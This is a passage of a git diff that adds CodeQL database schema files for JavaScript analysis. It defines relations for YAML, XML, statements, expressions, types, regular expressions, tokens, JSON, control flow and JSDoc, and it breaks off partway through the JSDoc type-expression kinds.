+#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/*- Configuration files with key value pairs -*/ + +configs( + unique int id: @config +); + +configNames( + unique int id: @configName, + int config: @config ref, + string name: string ref +); + +configValues( + unique int id: @configValue, + int config: @config ref, + string value: string ref +); + +configLocations( + int locatable: @configLocatable ref, + int location: @location_default ref +); + +@configLocatable = @config | @configName | @configValue; diff --git a/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/semmlecode.javascript.dbscheme b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/semmlecode.javascript.dbscheme new file mode 100644 index 00000000000..5b5db607d20 --- /dev/null +++ b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/semmlecode.javascript.dbscheme @@ -0,0 +1,1193 @@ +/*** Standard fragments ***/ + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- JavaScript-specific part -*/ + +@location = @location_default + +@sourceline = @locatable; + +filetype( + int file: @file ref, + string filetype: string ref +) + +// top-level code fragments +toplevels (unique int id: @toplevel, + int kind: int ref); + +is_externs (int toplevel: @toplevel ref); + +case @toplevel.kind of + 0 = @script +| 1 = @inline_script +| 2 = @event_handler +| 3 = @javascript_url +| 4 = @template_toplevel; + +is_module (int tl: @toplevel ref); +is_nodejs (int tl: @toplevel ref); +is_es2015_module (int tl: @toplevel ref); +is_closure_module (int tl: @toplevel ref); + +@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag; +toplevel_parent_xml_node( + unique int toplevel: @toplevel ref, + int xmlnode: @xml_node_with_code ref); + +xml_element_parent_expression( + unique int xmlnode: @xmlelement ref, + int expression: @expr ref, + int index: int ref); + +// statements +#keyset[parent, idx] +stmts (unique int id: @stmt, + int kind: int ref, + int parent: @stmt_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +stmt_containers (unique int stmt: @stmt ref, + int container: @stmt_container ref); + +jump_targets (unique int jump: @stmt ref, + int target: @stmt ref); + +@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer; +@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration; + +case @stmt.kind of + 0 = @empty_stmt +| 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @labeled_stmt +| 5 = @break_stmt +| 6 = @continue_stmt +| 7 = @with_stmt +| 8 = @switch_stmt +| 9 = @return_stmt +| 10 = @throw_stmt +| 11 = @try_stmt +| 12 = @while_stmt +| 13 = @do_while_stmt +| 14 = @for_stmt +| 15 = @for_in_stmt +| 16 = @debugger_stmt +| 17 = @function_decl_stmt +| 18 = @var_decl_stmt +| 19 = @case +| 20 = @catch_clause +| 21 = @for_of_stmt +| 22 = @const_decl_stmt +| 23 = @let_stmt +| 24 = @legacy_let_stmt +| 25 = @for_each_stmt +| 26 = @class_decl_stmt +| 27 = @import_declaration +| 28 = @export_all_declaration +| 29 = @export_default_declaration +| 30 = @export_named_declaration +| 31 = @namespace_declaration +| 32 = @import_equals_declaration +| 33 = @export_assign_declaration +| 34 = @interface_declaration +| 35 = @type_alias_declaration +| 36 = @enum_declaration +| 37 = @external_module_declaration +| 38 = @export_as_namespace_declaration +| 39 = @global_augmentation_declaration +| 40 = @using_decl_stmt +; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt; + +@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration; + +@namespace_definition = @namespace_declaration | @enum_declaration; +@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member; + +is_instantiated(unique int decl: @namespace_declaration ref); + +@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field; +has_declare_keyword(unique int stmt: @declarable_node ref); + +is_for_await_of(unique int forof: @for_of_stmt ref); + +// expressions +#keyset[parent, idx] +exprs (unique int id: @expr, + int kind: int ref, + int parent: @expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @expr_or_type ref); + +enclosing_stmt (unique int expr: @expr_or_type ref, + int stmt: @stmt ref); + +expr_containers (unique int expr: @expr_or_type ref, + int container: @stmt_container ref); + +array_size (unique int ae: @arraylike ref, + int sz: int ref); + +is_delegating (int yield: @yield_expr ref); + +@expr_or_stmt = @expr | @stmt; +@expr_or_type = @expr | @typeexpr; +@expr_parent = @expr_or_stmt | @property | @function_typeexpr; +@arraylike = @array_expr | @array_pattern; +@type_annotation = @typeexpr | @jsdoc_type_expr; +@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel; + +case @expr.kind of + 0 = @label +| 1 = @null_literal +| 2 = @boolean_literal +| 3 = @number_literal +| 4 = @string_literal +| 5 = @regexp_literal +| 6 = @this_expr +| 7 = @array_expr +| 8 = @obj_expr +| 9 = @function_expr +| 10 = @seq_expr +| 11 = @conditional_expr +| 12 = @new_expr +| 13 = @call_expr +| 14 = @dot_expr +| 15 = @index_expr +| 16 = @neg_expr +| 17 = @plus_expr +| 18 = @log_not_expr +| 19 = @bit_not_expr +| 20 = @typeof_expr +| 21 = @void_expr +| 22 = @delete_expr +| 23 = @eq_expr +| 24 = @neq_expr +| 25 = @eqq_expr +| 26 = @neqq_expr +| 27 = @lt_expr +| 28 = @le_expr +| 29 = @gt_expr +| 30 = @ge_expr +| 31 = @lshift_expr +| 32 = @rshift_expr +| 33 = @urshift_expr +| 34 = @add_expr +| 35 = @sub_expr +| 36 = @mul_expr +| 37 = @div_expr +| 38 = @mod_expr +| 39 = @bitor_expr +| 40 = @xor_expr +| 41 = @bitand_expr +| 42 = @in_expr +| 43 = @instanceof_expr +| 44 = @logand_expr +| 45 = @logor_expr +| 47 = @assign_expr +| 48 = @assign_add_expr +| 49 = @assign_sub_expr +| 50 = @assign_mul_expr +| 51 = @assign_div_expr +| 52 = @assign_mod_expr +| 53 = @assign_lshift_expr +| 54 = @assign_rshift_expr +| 55 = @assign_urshift_expr +| 56 = @assign_or_expr +| 57 = @assign_xor_expr +| 58 = @assign_and_expr +| 59 = @preinc_expr +| 60 = @postinc_expr +| 61 = @predec_expr +| 62 = @postdec_expr +| 63 = @par_expr +| 64 = @var_declarator +| 65 = @arrow_function_expr +| 66 = @spread_element +| 67 = @array_pattern +| 68 = @object_pattern +| 69 = @yield_expr +| 70 = @tagged_template_expr +| 71 = @template_literal +| 72 = @template_element +| 73 = @array_comprehension_expr +| 74 = @generator_expr +| 75 = @for_in_comprehension_block +| 76 = @for_of_comprehension_block +| 77 = @legacy_letexpr +| 78 = @var_decl +| 79 = @proper_varaccess +| 80 = @class_expr +| 81 = @super_expr +| 82 = @newtarget_expr +| 83 = @named_import_specifier +| 84 = @import_default_specifier +| 85 = @import_namespace_specifier +| 86 = @named_export_specifier +| 87 = @exp_expr +| 88 = @assign_exp_expr +| 89 = @jsx_element +| 90 = @jsx_qualified_name +| 91 = @jsx_empty_expr +| 92 = @await_expr +| 93 = @function_sent_expr +| 94 = @decorator +| 95 = @export_default_specifier +| 96 = @export_namespace_specifier +| 97 = @bind_expr +| 98 = @external_module_reference +| 99 = @dynamic_import +| 100 = @expression_with_type_arguments +| 101 = @prefix_type_assertion +| 102 = @as_type_assertion +| 103 = @export_varaccess +| 104 = @decorator_list +| 105 = @non_null_assertion +| 106 = @bigint_literal +| 107 = @nullishcoalescing_expr +| 108 = @e4x_xml_anyname +| 109 = @e4x_xml_static_attribute_selector +| 110 = @e4x_xml_dynamic_attribute_selector +| 111 = @e4x_xml_filter_expression +| 112 = @e4x_xml_static_qualident +| 113 = @e4x_xml_dynamic_qualident +| 114 = @e4x_xml_dotdotexpr +| 115 = @import_meta_expr +| 116 = @assignlogandexpr +| 117 = @assignlogorexpr +| 118 = @assignnullishcoalescingexpr +| 119 = @template_pipe_ref +| 120 = @generated_code_expr +| 121 = @satisfies_expr +; + +@varaccess = @proper_varaccess | @export_varaccess; +@varref = @var_decl | @varaccess; + +@identifier = @label | @varref | @type_identifier; + +@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal; + +@propaccess = @dot_expr | @index_expr; + +@invokeexpr = @new_expr | @call_expr; + +@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element; + +@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr; + +@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr; + +@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr; + +@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr; + +@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr; + +@pattern = @varref | @array_pattern | @object_pattern; + +@comprehension_expr = @array_comprehension_expr | @generator_expr; + +@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block; + +@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier; + +@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier; + +@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier; + +@type_assertion = @as_type_assertion | @prefix_type_assertion; + +@class_definition = @class_decl_stmt | @class_expr; +@interface_definition = @interface_declaration | @interface_typeexpr; +@class_or_interface = @class_definition | @interface_definition; + +@lexical_decl = @var_decl | @type_decl; +@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access; +@lexical_ref = @lexical_decl | @lexical_access; + +@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector; +@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident; + +expr_contains_template_tag_location( + int expr: @expr ref, + int location: @location ref +); + +@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file; + +template_placeholder_tag_info( + unique int node: @template_placeholder_tag, + int parentNode: @template_placeholder_tag_parent ref, + varchar(900) raw: string ref +); + +// scopes +scopes (unique int id: @scope, + int kind: int ref); + +case @scope.kind of + 0 = @global_scope +| 1 = @function_scope +| 2 = @catch_scope +| 3 = @module_scope +| 4 = @block_scope +| 5 = @for_scope +| 6 = @for_in_scope // for-of scopes work the same as for-in scopes +| 7 = @comprehension_block_scope +| 8 = @class_expr_scope +| 9 = @namespace_scope +| 10 = @class_decl_scope +| 11 = @interface_scope +| 12 = @type_alias_scope +| 13 = @mapped_type_scope +| 14 = @enum_scope +| 15 = @external_module_scope +| 16 = @conditional_type_scope; + +scopenodes (unique int node: @ast_node ref, + int scope: @scope ref); + +scopenesting (unique int inner: @scope ref, + int outer: @scope ref); + +// functions +@function = @function_decl_stmt | @function_expr | @arrow_function_expr; + +@parameterized = @function | @catch_clause; +@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr; + +is_generator (int fun: @function ref); +has_rest_parameter (int fun: @function ref); +is_async (int fun: @function ref); + +// variables and lexically scoped type names +#keyset[scope, name] +variables (unique int id: @variable, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_type_names (unique int id: @local_type_name, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_namespace_names (unique int id: @local_namespace_name, + varchar(900) name: string ref, + int scope: @scope ref); + +is_arguments_object (int id: @variable ref); + +@lexical_name = @variable | @local_type_name | @local_namespace_name; + +@bind_id = @varaccess | @local_var_type_access; +bind (unique int id: @bind_id ref, + int decl: @variable ref); + +decl (unique int id: @var_decl ref, + int decl: @variable ref); + +@typebind_id = @local_type_access | @export_varaccess; +typebind (unique int id: @typebind_id ref, + int decl: @local_type_name ref); + +@typedecl_id = @type_decl | @var_decl; +typedecl (unique int id: @typedecl_id ref, + int decl: @local_type_name ref); + +namespacedecl (unique int id: @var_decl ref, + int decl: @local_namespace_name ref); + +@namespacebind_id = @local_namespace_access | @export_varaccess; +namespacebind (unique int id: @namespacebind_id ref, + int decl: @local_namespace_name ref); + + +// properties in object literals, property patterns in object patterns, and method declarations in classes +#keyset[parent, index] +properties (unique int id: @property, + int parent: @property_parent ref, + int index: int ref, + int kind: int ref, + varchar(900) tostring: string ref); + +case @property.kind of + 0 = @value_property +| 1 = @property_getter +| 2 = @property_setter +| 3 = @jsx_attribute +| 4 = @function_call_signature +| 5 = @constructor_call_signature +| 6 = @index_signature +| 7 = @enum_member +| 8 = @proper_field +| 9 = @parameter_field +| 10 = @static_initializer +; + +@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration; +@property_accessor = @property_getter | @property_setter; +@call_signature = @function_call_signature | @constructor_call_signature; +@field = @proper_field | @parameter_field; +@field_or_vardeclarator = @field | @var_declarator; + +is_computed (int id: @property ref); +is_method (int id: @property ref); +is_static (int id: @property ref); +is_abstract_member (int id: @property ref); +is_const_enum (int id: @enum_declaration ref); +is_abstract_class (int id: @class_decl_stmt ref); + +has_public_keyword (int id: @property ref); +has_private_keyword (int id: @property ref); +has_protected_keyword (int id: @property ref); +has_readonly_keyword (int id: @property ref); +has_type_keyword (int id: @type_keyword_operand ref); +is_optional_member (int id: @property ref); +has_definite_assignment_assertion (int id: @field_or_vardeclarator ref); +is_optional_parameter_declaration (unique int parameter: @pattern ref); + +#keyset[constructor, param_index] +parameter_fields( + unique int field: @parameter_field ref, + int constructor: @function_expr ref, + int param_index: int ref +); + +// types +#keyset[parent, idx] +typeexprs ( + unique int id: @typeexpr, + int kind: int ref, + int parent: @typeexpr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref +); + +case @typeexpr.kind of + 0 = @local_type_access +| 1 = @type_decl +| 2 = @keyword_typeexpr +| 3 = @string_literal_typeexpr +| 4 = @number_literal_typeexpr +| 5 = @boolean_literal_typeexpr +| 6 = @array_typeexpr +| 7 = @union_typeexpr +| 8 = @indexed_access_typeexpr +| 9 = @intersection_typeexpr +| 10 = @parenthesized_typeexpr +| 11 = @tuple_typeexpr +| 12 = @keyof_typeexpr +| 13 = @qualified_type_access +| 14 = @generic_typeexpr +| 15 = @type_label +| 16 = @typeof_typeexpr +| 17 = @local_var_type_access +| 18 = @qualified_var_type_access +| 19 = @this_var_type_access +| 20 = @predicate_typeexpr +| 21 = @interface_typeexpr +| 22 = @type_parameter +| 23 = @plain_function_typeexpr +| 24 = @constructor_typeexpr +| 25 = @local_namespace_access +| 26 = @qualified_namespace_access +| 27 = @mapped_typeexpr +| 28 = @conditional_typeexpr +| 29 = @infer_typeexpr +| 30 = @import_type_access +| 31 = @import_namespace_access +| 32 = @import_var_type_access +| 33 = @optional_typeexpr +| 34 = @rest_typeexpr +| 35 = @bigint_literal_typeexpr +| 36 = @readonly_typeexpr +| 37 = @template_literal_typeexpr +; + +@typeref = @typeaccess | @type_decl; +@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access; +@typeexpr_parent = @expr | @stmt | @property | @typeexpr; +@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr; +@typeaccess = @local_type_access | @qualified_type_access | @import_type_access; +@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access; +@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access; +@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access; + +@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr; + +// types +types ( + unique int id: @type, + int kind: int ref, + varchar(900) tostring: string ref +); + +#keyset[parent, idx] +type_child ( + int child: @type ref, + int parent: @type ref, + int idx: int ref +); + +case @type.kind of + 0 = @any_type +| 1 = @string_type +| 2 = @number_type +| 3 = @union_type +| 4 = @true_type +| 5 = @false_type +| 6 = @type_reference +| 7 = @object_type +| 8 = @canonical_type_variable_type +| 9 = @typeof_type +| 10 = @void_type +| 11 = @undefined_type +| 12 = @null_type +| 13 = @never_type +| 14 = @plain_symbol_type +| 15 = @unique_symbol_type +| 16 = @objectkeyword_type +| 17 = @intersection_type +| 18 = @tuple_type +| 19 = @lexical_type_variable_type +| 20 = @this_type +| 21 = @number_literal_type +| 22 = @string_literal_type +| 23 = @unknown_type +| 24 = @bigint_type +| 25 = @bigint_literal_type +; + +@boolean_literal_type = @true_type | @false_type; +@symbol_type = @plain_symbol_type | @unique_symbol_type; +@union_or_intersection_type = @union_type | @intersection_type; +@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type; + +has_asserts_keyword(int node: @predicate_typeexpr ref); + +@typed_ast_node = @expr | @typeexpr | @function; +ast_node_type( + unique int node: @typed_ast_node ref, + int typ: @type ref); + +declared_function_signature( + unique int node: @function ref, + int sig: @signature_type ref +); + +invoke_expr_signature( + unique int node: @invokeexpr ref, + int sig: @signature_type ref +); + +invoke_expr_overload_index( + unique int node: @invokeexpr ref, + int index: int ref +); + +symbols ( + unique int id: @symbol, + int kind: int ref, + varchar(900) name: string ref +); + +symbol_parent ( + unique int symbol: @symbol ref, + int parent: @symbol ref +); + +symbol_module ( + int symbol: @symbol ref, + varchar(900) moduleName: string ref +); + +symbol_global ( + int symbol: @symbol ref, + varchar(900) globalName: string ref +); + +case @symbol.kind of + 0 = @root_symbol +| 1 = @member_symbol +| 2 = @other_symbol +; + +@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type; +@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration; + +ast_node_symbol( + unique int node: @ast_node_with_symbol ref, + int symbol: @symbol ref); + +type_symbol( + unique int typ: @type_with_symbol ref, + int symbol: @symbol ref); + +#keyset[typ, name] +type_property( + int typ: @type ref, + varchar(900) name: string ref, + int propertyType: @type ref); + +type_alias( + unique int aliasType: @type ref, + int underlyingType: @type ref); + +@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type; +@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type; +type_literal_value( + unique int typ: @type_with_literal_value ref, + varchar(900) value: string ref); + +signature_types ( + unique int id: @signature_type, + int kind: int ref, + varchar(900) tostring: string ref, + int type_parameters: int ref, + int required_params: int ref +); + +is_abstract_signature( + unique int sig: @signature_type ref +); + +signature_rest_parameter( + unique int sig: @signature_type ref, + int rest_param_arra_type: @type ref +); + +case @signature_type.kind of + 0 = @function_signature_type +| 1 = @constructor_signature_type +; + +#keyset[typ, kind, index] +type_contains_signature ( + int typ: @type ref, + int kind: int ref, // constructor/call/index + int index: int ref, // ordering of overloaded signatures + int sig: @signature_type ref +); + +#keyset[parent, index] +signature_contains_type ( + int child: @type ref, + int parent: @signature_type ref, + int index: int ref +); + +#keyset[sig, index] +signature_parameter_name ( + int sig: @signature_type ref, + int index: int ref, + varchar(900) name: string ref +); + +number_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +string_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +base_type_names( + int typeName: @symbol ref, + int baseTypeName: @symbol ref +); + +self_types( + int typeName: @symbol ref, + int selfType: @type_reference ref +); + +tuple_type_min_length( + unique int typ: @type ref, + int minLength: int ref +); + +tuple_type_rest_index( + unique int typ: @type ref, + int index: int ref +); + +// comments +comments (unique int id: @comment, + int kind: int ref, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(900) tostring: string ref); + +case @comment.kind of + 0 = @slashslash_comment +| 1 = @slashstar_comment +| 2 = @doc_comment +| 3 = @html_comment_start +| 4 = @htmlcommentend; + +@html_comment = @html_comment_start | @htmlcommentend; +@line_comment = @slashslash_comment | @html_comment; +@block_comment = @slashstar_comment | @doc_comment; + +// source lines +lines (unique int id: @line, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(2) terminator: string ref); +indentation (int file: @file ref, + int lineno: int ref, + varchar(1) indentChar: string ref, + int indentDepth: int ref); + +// JavaScript parse errors +js_parse_errors (unique int id: @js_parse_error, + int toplevel: @toplevel ref, + varchar(900) message: string ref, + varchar(900) line: string ref); + +// regular expressions +#keyset[parent, idx] +regexpterm (unique int id: @regexpterm, + int kind: int ref, + int parent: @regexpparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr; + +case @regexpterm.kind of + 0 = @regexp_alt +| 1 = @regexp_seq +| 2 = @regexp_caret +| 3 = @regexp_dollar +| 4 = @regexp_wordboundary +| 5 = @regexp_nonwordboundary +| 6 = @regexp_positive_lookahead +| 7 = @regexp_negative_lookahead +| 8 = @regexp_star +| 9 = @regexp_plus +| 10 = @regexp_opt +| 11 = @regexp_range +| 12 = @regexp_dot +| 13 = @regexp_group +| 14 = @regexp_normal_constant +| 15 = @regexp_hex_escape +| 16 = @regexp_unicode_escape +| 17 = @regexp_dec_escape +| 18 = @regexp_oct_escape +| 19 = @regexp_ctrl_escape +| 20 = @regexp_char_class_escape +| 21 = @regexp_id_escape +| 22 = @regexp_backref +| 23 = @regexp_char_class +| 24 = @regexp_char_range +| 25 = @regexp_positive_lookbehind +| 26 = @regexp_negative_lookbehind +| 27 = @regexp_unicode_property_escape +| 28 = @regexp_quoted_string +| 29 = @regexp_intersection +| 30 = @regexp_subtraction; + +regexp_parse_errors (unique int id: @regexp_parse_error, + int regexp: @regexpterm ref, + varchar(900) message: string ref); + +@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range; +@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape; +@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape; +@regexp_constant = @regexp_normal_constant | @regexp_char_escape; +@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead; +@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind; +@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind; +@regexp_anchor = @regexp_dollar | @regexp_caret; + +is_greedy (int id: @regexp_quantifier ref); +range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref); +range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref); +is_capture (unique int id: @regexp_group ref, int number: int ref); +is_named_capture (unique int id: @regexp_group ref, string name: string ref); +is_inverted (int id: @regexp_char_class ref); +regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref); +char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref); +backref (unique int id: @regexp_backref ref, int value: int ref); +named_backref (unique int id: @regexp_backref ref, string name: string ref); +unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref); +unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref); + +// tokens +#keyset[toplevel, idx] +tokeninfo (unique int id: @token, + int kind: int ref, + int toplevel: @toplevel ref, + int idx: int ref, + varchar(900) value: string ref); + +case @token.kind of + 0 = @token_eof +| 1 = @token_null_literal +| 2 = @token_boolean_literal +| 3 = @token_numeric_literal +| 4 = @token_string_literal +| 5 = @token_regular_expression +| 6 = @token_identifier +| 7 = @token_keyword +| 8 = @token_punctuator; + +// associate comments with the token immediately following them (which may be EOF) +next_token (int comment: @comment ref, int token: @token ref); + +// JSON +#keyset[parent, idx] +json (unique int id: @json_value, + int kind: int ref, + int parent: @json_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +json_literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @json_value ref); + +json_properties (int obj: @json_object ref, + varchar(900) property: string ref, + int value: @json_value ref); + +json_errors (unique int id: @json_parse_error, + varchar(900) message: string ref); + +json_locations(unique int locatable: @json_locatable ref, + int location: @location_default ref); + +case @json_value.kind of + 0 = @json_null +| 1 = @json_boolean +| 2 = @json_number +| 3 = @json_string +| 4 = @json_array +| 5 = @json_object; + +@json_parent = @json_object | @json_array | @file; + +@json_locatable = @json_value | @json_parse_error; + +// locations +@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr; + +@locatable = @file + | @ast_node + | @comment + | @line + | @js_parse_error | @regexp_parse_error + | @regexpterm + | @json_locatable + | @token + | @cfg_node + | @jsdoc | @jsdoc_type_expr | @jsdoc_tag + | @yaml_locatable + | @xmllocatable + | @configLocatable + | @template_placeholder_tag; + +hasLocation (unique int locatable: @locatable ref, + int location: @location ref); + +// CFG +entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref); +exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref); +guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref); +case @guard_node.kind of + 0 = @falsy_guard +| 1 = @truthy_guard; +@condition_guard = @falsy_guard | @truthy_guard; + +@synthetic_cfg_node = @entry_node | @exit_node | @guard_node; +@cfg_node = @synthetic_cfg_node | @expr_parent; + +successor (int pred: @cfg_node ref, int succ: @cfg_node ref); + +// JSDoc comments +jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref); +#keyset[parent, idx] +jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref, + int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref); +jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); +jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); + +#keyset[parent, idx] +jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + int kind: int ref, + int parent: @jsdoc_type_expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); +case @jsdoc_type_expr.kind of + 0 = @jsdoc_any_type_expr +| 1 = @jsdoc_null_type_expr +| 2 = @jsdoc_undefined_type_expr +| 3 = @jsdoc_unknown_type_expr +| 4 = @jsdoc_void_type_expr +| 5 = @jsdoc_named_type_expr +| 6 = @jsdoc_applied_type_expr +| 7 = @jsdoc_nullable_type_expr +| 8 = @jsdoc_non_nullable_type_expr +| 9 = @jsdoc_record_type_expr +| 10 = @jsdoc_array_type_expr +| 11 = @jsdoc_union_type_expr +| 12 = 